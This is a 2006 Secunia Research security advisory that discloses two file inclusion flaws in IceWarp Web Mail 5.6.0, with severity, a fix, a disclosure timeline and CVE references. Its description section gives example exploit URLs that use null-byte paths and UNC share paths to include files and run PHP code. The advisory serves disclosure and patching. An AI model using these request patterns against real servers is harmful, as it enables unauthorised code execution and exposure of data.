====================================================================== Secunia Research 17/07/2006 - IceWarp Web Mail Two File Inclusion Vulnerabilities - ====================================================================== Table of Contents Affected Software....................................................1 Severity.............................................................2 Description of Vulnerability.........................................3 Solution.............................................................4 Time Table...........................................................5 Credits..............................................................6 References...........................................................7 About Secunia........................................................8 Verification.........................................................9 ====================================================================== 1) Affected Software * Merak Mail Server version 8.3.8.r with IceWarp Web Mail 5.6.0. Other versions may also be affected. ====================================================================== 2) Severity Rating: Highly Critical Impact: System access Exposure of sensitive information Where: Remote ====================================================================== 3) Description of Vulnerability Secunia Research has discovered two vulnerabilities in IceWarp Web Mail, which can be exploited by malicious users and by malicious people to disclose potentially sensitive information and compromise a vulnerable system. 1) Input passed to the "language" and "lang_settings" parameters in "/accounts/inc/include.php" and "/admin/inc/include.php" is not properly sanitised by the "securepath()" function before being used to include files. This can be exploited to include arbitrary files from local resources on the Windows platform using full pathnames. This can further be exploited to execute arbitrary PHP code by injecting the code into the mail server's log file and including it. Example: http://[host]:32000/admin/inc/include.php? language=0&lang_settings[0][1]=c:\[file]%00 The vulnerability is related to #5 in: SA17046 Successful exploitation allows execution of arbitrary PHP code on a vulnerable server without requiring authentication. 2) Input passed to the "language" parameter in "/mail/settings.html" is not properly validated before being saved to the database. This can be exploited in conjunction with overwrite of the "lang_settings" variable, which is not properly sanitised by the "validatefolder()" function, to include arbitrary files from local resources using full pathnames and from remote Windows shared folders using UNC pathnames. Examples: http://[host]:32000/mail/settings.html? id=[current_id]&Save_x=1&language=TEST http://[host]:32000/mail/index.html? id=[curent_id]&lang_settings[TEST]=test; &lang_settings[TEST]=test;c:\[file]%00; http://[host]:32000/mail/index.html ?id=[curent_id]&lang_settings[TEST]=test; &lang_settings[TEST]=test;\\[host]\[share]\[file]%00; Successful exploitation allows execution of arbitrary PHP code on a vulnerable server but requires a valid logon. The vulnerability is related to #7 in: SA17046 ====================================================================== 4) Solution Update to version 8.3.8.r with IceWarp Web Mail 5.6.1. ====================================================================== 5) Time Table 21/02/2006 - Initial vendor notification. 22/02/2006 - Initial vendor reply and fixed version released. 17/07/2006 - Public disclosure. ====================================================================== 6) Credits Discovered by Tan Chew Keong, Secunia Research. ====================================================================== 7) References SA17046: http://secunia.com/advisories/17046/ The Common Vulnerabilities and Exposures (CVE) project has assigned CVE-2006-0817 (#1) and CVE-2006-0818 (#2) for the vulnerabilities. ====================================================================== 8) About Secunia Secunia collects, validates, assesses, and writes advisories regarding all the latest software vulnerabilities disclosed to the public.
